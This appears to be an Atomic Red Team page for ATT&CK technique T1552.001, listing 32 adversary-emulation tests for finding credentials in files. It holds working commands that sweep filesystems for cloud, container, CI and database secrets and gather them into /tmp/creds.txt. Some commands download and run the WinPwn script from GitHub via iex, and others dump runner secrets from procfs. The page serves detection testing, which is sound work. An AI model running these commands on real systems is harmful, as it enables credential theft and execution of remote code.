T1552.001
Unsecured Credentials: Credentials In Files
Description from ATT&CK
Adversaries may search local file systems and remote file shares for files containing insecurely stored credentials. These can be files created by users to store their own credentials, shared credential stores for a group of individuals, configuration files containing passwords for a system or service, or source code/binary files containing embedded passwords.
It is possible to extract passwords from backups or saved virtual machines through OS Credential Dumping.(Citation: CG 2014) Passwords may also be obtained from Group Policy Preferences stored on the Windows Domain Controller.(Citation: SRD GPP)
In cloud and/or containerized environments, authenticated user and service account credentials are often stored in local configuration and credential files.(Citation: Unit 42 Hildegard Malware) They may also be found as parameters to deployment commands in container logs.(Citation: Unit 42 Unsecured Docker Daemons) In some cases, these files can be copied and reused on another machine or the contents can be read and then used to authenticate without needing to copy any files.(Citation: Specter Ops - Cloud Credential Storage)
Atomic Tests
- Atomic Test #1: Find AWS credentials
- Atomic Test #2: Extract Browser and System credentials with LaZagne
- Atomic Test #3: Extract passwords with grep
- Atomic Test #4: Extracting passwords with findstr
- Atomic Test #5: Access unattend.xml
- Atomic Test #6: Find and Access Github Credentials
- Atomic Test #7: WinPwn - sensitivefiles
- Atomic Test #8: WinPwn - Snaffler
- Atomic Test #9: WinPwn - powershellsensitive
- Atomic Test #10: WinPwn - passhunt
- Atomic Test #11: WinPwn - SessionGopher
- Atomic Test #12: WinPwn - Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials
- Atomic Test #13: List Credential Files via PowerShell
- Atomic Test #14: List Credential Files via Command Prompt
- Atomic Test #15: Find Azure credentials
- Atomic Test #16: Find GCP credentials
- Atomic Test #17: Find OCI credentials
- Atomic Test #18: Access Travis CI Config File
- Atomic Test #19: Access Gitlab CI Config File
- Atomic Test #20: Find Terraform credential files
- Atomic Test #21: Find Docker credentials
- Atomic Test #22: Find HashiCorp Vault token files
- Atomic Test #23: Access Drone CI Config File
- Atomic Test #24: Dump GitHub Actions Runner Environment Variables from procfs
- Atomic Test #25: Search for Git Credential Files
- Atomic Test #26: Find .env Files Containing Application Credentials
- Atomic Test #27: Find database credential files
- Atomic Test #28: Find system database configuration files
- Atomic Test #29: Find npm registry credential files
- Atomic Test #30: Access Jenkinsfile
- Atomic Test #31: Find Kubernetes user configuration files
- Atomic Test #32: Find Kubernetes cluster configuration files
Atomic Test #1: Find AWS credentials
Find local AWS credentials from file, defaults to using / as the look path.
Supported Platforms: macOS, Linux
auto_generated_guid: 37807632-d3da-442e-8c2e-00f44928ff8f
Inputs
| Name | Description | Type | Default Value |
|---|---|---|---|
| file_path | Path to search | string | / |
| filename | Name of the AWS credential file to search for | string | credentials |
Attack Commands: Run with sh!
find #{file_path} -path '*/.aws/#{filename}' -type f 2>/dev/nullAtomic Test #2: Extract Browser and System credentials with LaZagne
Supported Platforms: macOS
auto_generated_guid: 9e507bb8-1d30-4e3b-a49b-cb5727d7ea79
Attack Commands: Run with bash! Elevation Required (e.g. root or admin)
python2 laZagne.py allAtomic Test #3: Extract passwords with grep
Extracting credentials from files
Supported Platforms: Linux, macOS
auto_generated_guid: bd4cf0d1-7646-474e-8610-78ccf5a097c4
Inputs
| Name | Description | Type | Default Value |
|---|---|---|---|
| file_path | Path to search | string | / |
Attack Commands: Run with sh!
grep -ri password #{file_path}
exit 0Atomic Test #4: Extracting passwords with findstr
Extracting Credentials from Files. Upon execution, the contents of files that contain the word "password" will be displayed.
Supported Platforms: Windows
auto_generated_guid: 0e56bf29-ff49-4ea5-9af4-3b81283fd513
Attack Commands: Run with powershell!
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern passwordAtomic Test #5: Access unattend.xml
Attempts to access unattend.xml, where credentials are commonly stored, within the Panther directory where installation logs are stored. If these files exist, their contents will be displayed. They are used to store credentials/answers during the unattended windows install process.
Supported Platforms: Windows
auto_generated_guid: 367d4004-5fc0-446d-823f-960c74ae52c3
Attack Commands: Run with command_prompt! Elevation Required (e.g. root or admin)
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xmlAtomic Test #6: Find and Access Github Credentials
Find .netrc files, which store GitHub credentials in clear text, and dump their contents if found.
Supported Platforms: Linux, macOS
auto_generated_guid: da4f751a-020b-40d7-b9ff-d433b7799803
Inputs
| Name | Description | Type | Default Value |
|---|---|---|---|
| file_path | Path to search | string | / |
| filename | Credential file to search for | string | .netrc |
| optional_flags | optional flags passed into find that should be ran | string | -exec sh -c 'echo "=== $1 ===" >> /tmp/creds.txt; cat "$1" >> /tmp/creds.txt' _ {} \; |
Attack Commands: Run with sh!
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/nullCleanup Commands
rm -f /tmp/creds.txtAtomic Test #7: WinPwn - sensitivefiles
Search for sensitive files on this local system using the SensitiveFiles function of WinPwn
Supported Platforms: Windows
auto_generated_guid: 114dd4e3-8d1c-4ea7-bb8d-8d8f6aca21f0
Attack Commands: Run with powershell!
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutputAtomic Test #8: WinPwn - Snaffler
Check Domain Network-Shares for cleartext passwords using Snaffler function of WinPwn
Supported Platforms: Windows
auto_generated_guid: fdd0c913-714b-4c13-b40f-1824d6c015f2
Attack Commands: Run with powershell!
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutputAtomic Test #9: WinPwn - powershellsensitive
Check Powershell event logs for credentials or other sensitive information via winpwn powershellsensitive function.
Supported Platforms: Windows
auto_generated_guid: 75f66e03-37d3-4704-9520-3210efbe33ce
Attack Commands: Run with powershell!
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractiveAtomic Test #10: WinPwn - passhunt
Search for Passwords on this system using passhunt via WinPwn
Supported Platforms: Windows
auto_generated_guid: 00e3e3c7-6c3c-455e-bd4b-461c7f0e7797
Attack Commands: Run with powershell!
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractiveCleanup Commands
rm -force .\passhunt.exe -ErrorAction Ignore
rm -force .\phunter* -ErrorAction Ignore
rm -force -recurse .\DomainRecon -ErrorAction Ignore
rm -force -recurse .\Exploitation -ErrorAction Ignore
rm -force -recurse .\LocalPrivEsc -ErrorAction Ignore
rm -force -recurse .\LocalRecon -ErrorAction Ignore
rm -force -recurse .\Vulnerabilities -ErrorAction IgnoreAtomic Test #11: WinPwn - SessionGopher
Launches SessionGopher on this system via WinPwn
Supported Platforms: Windows
auto_generated_guid: c9dc9de3-f961-4284-bd2d-f959c9f9fda5
Attack Commands: Run with powershell!
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutputAtomic Test #12: WinPwn - Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials
Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials technique via function of WinPwn
Supported Platforms: Windows
auto_generated_guid: aaa87b0e-5232-4649-ae5c-f1724a4b2798
Attack Commands: Run with powershell!
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractiveAtomic Test #13: List Credential Files via PowerShell
Via PowerShell,list files where credentials are stored in Windows Credential Manager
Supported Platforms: Windows
auto_generated_guid: 0d4f2281-f720-4572-adc8-d5bb1618affe
Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\Atomic Test #14: List Credential Files via Command Prompt
Via Command Prompt,list files where credentials are stored in Windows Credential Manager
Supported Platforms: Windows
auto_generated_guid: b0cdacf6-8949-4ffe-9274-a9643a788e55
Attack Commands: Run with command_prompt! Elevation Required (e.g. root or admin)
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\Atomic Test #15: Find Azure credentials
Find local Azure credentials from file, defaults to using / as the look path.
Supported Platforms: macOS, Linux
auto_generated_guid: a8f6148d-478a-4f43-bc62-5efee9f931a4
Inputs
| Name | Description | Type | Default Value |
|---|---|---|---|
| file_path | Path to search | string | / |
| filename | Credential file to search for | string | msal_token_cache.json |
| optional_flags | optional flags passed into find that should be ran | string | -exec sh -c 'echo "=== $1 ===" >> /tmp/creds.txt; cat "$1" >> /tmp/creds.txt' _ {} \; |
Attack Commands: Run with sh!
find #{file_path} -path '*/.azure/#{filename}' -type f #{optional_flags} 2>/dev/nullCleanup Commands
rm -f /tmp/creds.txtAtomic Test #16: Find GCP credentials
Find local Google Cloud Platform credentials from file, defaults to using / as the look path.
Supported Platforms: macOS, Linux
auto_generated_guid: aa12eb29-2dbb-414e-8b20-33d34af93543
Inputs
| Name | Description | Type | Default Value |
|---|---|---|---|
| file_path | Path to search | string | / |
| filename | Credential file to search for | string | credentials.db |
| optional_flags | optional flags passed into find that should be ran | string | -exec sh -c 'echo "=== $1 ===" >> /tmp/creds.txt; cat "$1" >> /tmp/creds.txt' _ {} \; |
Attack Commands: Run with sh!
find #{file_path} -path '*/.config/gcloud/#{filename}' -type f #{optional_flags} 2>/dev/nullCleanup Commands
rm -f /tmp/creds.txtAtomic Test #17: Find OCI credentials
Find local Oracle cloud credentials from file, defaults to using / as the look path.
Supported Platforms: macOS, Linux
auto_generated_guid: 9d9c22c9-fa97-4008-a204-478cf68c40af
Inputs
| Name | Description | Type | Default Value |
|---|---|---|---|
| file_path | Path to search | string | / |
Attack Commands: Run with sh!
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/nullAtomic Test #18: Access Travis CI Config File
Find Travis CI configuration files (.travis.yml), which may contain credentials, secrets, or sensitive environment variables.
Supported Platforms: Linux, macOS
auto_generated_guid: 5312c7c3-775b-4437-a8b0-914b30cfebd4
Inputs
| Name | Description | Type | Default Value |
|---|---|---|---|
| file_path | Path to search | string | / |
| filename | Name of file to search for | string | .travis.yml |
| optional_flags | optional flags passed into find that should be ran | string | -exec sh -c 'echo "=== $1 ===" >> /tmp/creds.txt; cat "$1" >> /tmp/creds.txt' _ {} \; |
Attack Commands: Run with sh!
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/nullCleanup Commands
rm -f /tmp/creds.txtAtomic Test #19: Access Gitlab CI Config File
Find GitLab CI configuration files (.gitlab-ci.yml), which may contain credentials, secrets, or sensitive environment variables.
Supported Platforms: Linux, macOS
auto_generated_guid: 98618067-a2c7-4d4b-9c89-403a90f43656
Inputs
| Name | Description | Type | Default Value |
|---|---|---|---|
| file_path | Path to search | string | / |
| filename | Name of file to search for | string | .gitlab-ci.yml |
| optional_flags | optional flags passed into find that should be ran | string | -exec sh -c 'echo "=== $1 ===" >> /tmp/creds.txt; cat "$1" >> /tmp/creds.txt' _ {} \; |
Attack Commands: Run with sh!
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/nullCleanup Commands
rm -f /tmp/creds.txtAtomic Test #20: Find Terraform credential files
Find Terraform credential files which may contain sensitive values such as API keys, passwords, and infrastructure secrets. Searches for both terraform.tfvars and terraform.tfstate.
Supported Platforms: Linux, macOS
auto_generated_guid: c3372ae9-b9bf-427a-b330-cb04fecb9c1d
Inputs
| Name | Description | Type | Default Value |
|---|---|---|---|
| file_path | Path to search | string | / |
| filenames | Space-separated Terraform credential filenames to search for | string | terraform.tfvars terraform.tfstate |
| optional_flags | optional flags passed into find that should be ran | string | -exec sh -c 'echo "=== $1 ===" >> /tmp/creds.txt; cat "$1" >> /tmp/creds.txt' _ {} \; |
Attack Commands: Run with sh!
for filename in #{filenames}; do find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null; doneCleanup Commands
rm -f /tmp/creds.txtAtomic Test #21: Find Docker credentials
Find local Docker credentials from file, defaults to using / as the look path.
Supported Platforms: macOS, Linux
auto_generated_guid: 5a668739-3a2f-4265-895f-c0e1e0b09eaa
Inputs
| Name | Description | Type | Default Value |
|---|---|---|---|
| file_path | Path to search | string | / |
| filename | Credential file to search for | string | config.json |
| optional_flags | optional flags passed into find that should be ran | string | -exec sh -c 'echo "=== $1 ===" >> /tmp/creds.txt; cat "$1" >> /tmp/creds.txt' _ {} \; |
Attack Commands: Run with sh!
find #{file_path} -path '*/.docker/#{filename}' -type f #{optional_flags} 2>/dev/nullCleanup Commands
rm -f /tmp/creds.txtAtomic Test #22: Find HashiCorp Vault token files
Find HashiCorp Vault token files (~/.vault-token), which contain plaintext Vault tokens that grant access to secrets stored in Vault.
Supported Platforms: Linux, macOS
auto_generated_guid: 2951c09f-b4f9-4248-ba75-6373709ebd55
Inputs
| Name | Description | Type | Default Value |
|---|---|---|---|
| file_path | Path to search | string | / |
| filename | Credential file to search for | string | .vault-token |
| optional_flags | optional flags passed into find that should be ran | string | -exec sh -c 'echo "=== $1 ===" >> /tmp/creds.txt; cat "$1" >> /tmp/creds.txt' _ {} \; |
Attack Commands: Run with sh!
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/nullCleanup Commands
rm -f /tmp/creds.txtAtomic Test #23: Access Drone CI Config File
Find Drone CI configuration files (.drone.yml), which may contain credentials, secrets, or sensitive environment variables used in Drone CI/CD pipelines.
Supported Platforms: Linux, macOS
auto_generated_guid: a11f22fb-a037-4cc2-bcfc-a133b287aa1b
Inputs
| Name | Description | Type | Default Value |
|---|---|---|---|
| file_path | Path to search | string | / |
| filename | Name of file to search for | string | .drone.yml |
| optional_flags | optional flags passed into find that should be ran | string | -exec sh -c 'echo "=== $1 ===" >> /tmp/creds.txt; cat "$1" >> /tmp/creds.txt' _ {} \; |
Attack Commands: Run with sh!
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/nullCleanup Commands
rm -f /tmp/creds.txtAtomic Test #24: Dump GitHub Actions Runner Environment Variables from procfs
Locates GitHub Actions runner processes (Runner.Worker, Runner.Listener, runsvc, run.sh) and reads their environment variables from /proc//environ, filtering for keys containing "env" or "ssh". This mirrors TeamPCP malware behavior that harvests credentials and secrets from self-hosted runner processes.
Reference: https://www.aquasec.com/blog/trivy-supply-chain-attack-what-you-need-to-know/
Supported Platforms: Linux
auto_generated_guid: 51cde30c-0311-449a-8e15-542b59f95939
Attack Commands: Run with bash!
for pid in $(pgrep -f 'Runner.Worker|Runner.Listener|runsvc|run.sh' 2>/dev/null); do tr '\0' '\n' < /proc/$pid/environ 2>/dev/null | grep -iE 'env|ssh'; doneAtomic Test #25: Search for Git Credential Files
Searches the specified directory for a git credential file, which may contain plaintext credentials, access tokens, or credential helper configurations. Example files include .git-credentials and .gitconfig.
Supported Platforms: Linux, macOS
auto_generated_guid: c8367142-cbb0-47a4-96c7-ff9969fd64ea
Inputs
| Name | Description | Type | Default Value |
|---|---|---|---|
| file_path | directory to search under | string | / |
| filename | git credential file to search for | string | .git-credentials |
| optional_flags | optional flags passed into find that should be ran | string | -exec sh -c 'echo "=== $1 ===" >> /tmp/creds.txt; cat "$1" >> /tmp/creds.txt' _ {} \; |
Attack Commands: Run with sh!
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/nullCleanup Commands
rm -f /tmp/creds.txtAtomic Test #26: Find .env Files Containing Application Credentials
Searches common web application and service directories for .env files (.env, .env.local, .env.production, .env.development, .env.staging) that may contain credentials such as API keys, database passwords, and service secrets. Adversaries targeting web servers or containerized environments search for these files after gaining host access to harvest application-level credentials.
Supported Platforms: Linux, macOS
auto_generated_guid: bcf8e58a-1cb7-4988-9227-3d3c70751811
Inputs
| Name | Description | Type | Default Value |
|---|---|---|---|
| file_path | Space-separated list of directories to search | string | /home /Users /root /opt /srv /var/www /app /data /var/lib /tmp |
| filename | .env filename pattern to search for | string | .env* |
| optional_flags | optional flags passed into find that should be ran | string | -exec sh -c 'echo "=== $1 ===" >> /tmp/creds.txt; cat "$1" >> /tmp/creds.txt' _ {} \; |
Attack Commands: Run with sh!
find #{file_path} -maxdepth 6 -name "#{filename}" -type f #{optional_flags} 2>/dev/nullCleanup Commands
rm -f /tmp/creds.txtAtomic Test #27: Find database credential files
Find user-level database credential files. Examples include ~/.pgpass, ~/.my.cnf, and ~/.mongorc.js.
Supported Platforms: Linux, macOS
auto_generated_guid: e62bccc4-0200-47e9-b40a-4ea5328495b3
Inputs
| Name | Description | Type | Default Value |
|---|---|---|---|
| file_path | Path to search | string | / |
| filenames | Space-separated database credential filenames to search for | string | .pgpass .my.cnf .mongorc.js |
| optional_flags | optional flags passed into find that should be ran | string | -exec sh -c 'echo "=== $1 ===" >> /tmp/creds.txt; cat "$1" >> /tmp/creds.txt' _ {} \; |
Attack Commands: Run with sh!
for filename in #{filenames}; do
find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null
doneCleanup Commands
rm -f /tmp/creds.txtAtomic Test #28: Find system database configuration files
Find system-level database configuration files (/etc/mysql/my.cnf, /etc/redis/redis.conf) which may contain credentials. Requires root privileges.
Supported Platforms: Linux
auto_generated_guid: d1665562-c389-49fc-9cbe-92236816a105
Inputs
| Name | Description | Type | Default Value |
|---|---|---|---|
| optional_flags | optional flags passed into find that should be ran | string | -exec sh -c 'echo "=== $1 ===" >> /tmp/creds.txt; cat "$1" >> /tmp/creds.txt' _ {} \; |
Attack Commands: Run with sh! Elevation Required (e.g. root or admin)
find /etc/mysql -name 'my.cnf' -type f #{optional_flags} 2>/dev/null
find /etc/redis -name 'redis.conf' -type f #{optional_flags} 2>/dev/nullCleanup Commands
rm -f /tmp/creds.txtAtomic Test #29: Find npm registry credential files
Find .npmrc files, which may contain plaintext npm registry authentication tokens.
Supported Platforms: Linux, macOS
auto_generated_guid: 2a24627b-061b-43e6-bece-a5b0638841dd
Inputs
| Name | Description | Type | Default Value |
|---|---|---|---|
| file_path | Path to search | string | / |
| filename | Credential file to search for | string | .npmrc |
| optional_flags | optional flags passed into find that should be ran | string | -exec sh -c 'echo "=== $1 ===" >> /tmp/creds.txt; cat "$1" >> /tmp/creds.txt' _ {} \; |
Attack Commands: Run with sh!
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/nullCleanup Commands
rm -f /tmp/creds.txtAtomic Test #30: Access Jenkinsfile
Find Jenkinsfiles, which may contain credentials, secrets, or sensitive environment variables used in Jenkins CI/CD pipelines.
Supported Platforms: Linux, macOS
auto_generated_guid: 18318786-e0c0-4bdf-979f-f022e6f5f2ef
Inputs
| Name | Description | Type | Default Value |
|---|---|---|---|
| file_path | Path to search | string | / |
| filename | Name of file to search for | string | Jenkinsfile |
| optional_flags | optional flags passed into find that should be ran | string | -exec sh -c 'echo "=== $1 ===" >> /tmp/creds.txt; cat "$1" >> /tmp/creds.txt' _ {} \; |
Attack Commands: Run with sh!
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/nullCleanup Commands
rm -f /tmp/creds.txtAtomic Test #31: Find Kubernetes user configuration files
Find Kubernetes user configuration files (~/.kube/config), which contain API server addresses, client certificates, and bearer tokens that grant access to the Kubernetes cluster. Defaults to using / as the search path.
Supported Platforms: Linux, macOS
auto_generated_guid: 14575d1f-16b3-4a0b-8986-540e42e6a6cc
Inputs
| Name | Description | Type | Default Value |
|---|---|---|---|
| file_path | Path to search | string | / |
| optional_flags | optional flags passed into find that should be ran | string | -exec sh -c 'echo "=== $1 ===" >> /tmp/creds.txt; cat "$1" >> /tmp/creds.txt' _ {} \; |
Attack Commands: Run with sh!
find #{file_path} -path '*/.kube/config' -type f #{optional_flags} 2>/dev/nullCleanup Commands
rm -f /tmp/creds.txtAtomic Test #32: Find Kubernetes cluster configuration files
Find Kubernetes configuration files requiring root privileges, including the root user kubeconfig (~/.kube/config) and cluster-level configuration files in /etc/kubernetes/. These files contain API server addresses, client certificates, and bearer tokens that grant access to the Kubernetes cluster.
Supported Platforms: Linux
auto_generated_guid: af664fc0-0772-4866-a661-d49a22a13487
Inputs
| Name | Description | Type | Default Value |
|---|---|---|---|
| optional_flags | optional flags passed into find that should be ran | string | -exec sh -c 'echo "=== $1 ===" >> /tmp/creds.txt; cat "$1" >> /tmp/creds.txt' _ {} \; |
Attack Commands: Run with sh! Elevation Required (e.g. root or admin)
find /root -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find /etc/kubernetes -name '*.conf' -type f #{optional_flags} 2>/dev/nullCleanup Commands
rm -f /tmp/creds.txtAtomic test(s) for this technique last updated: 2026-09-05 00:05:10 UTC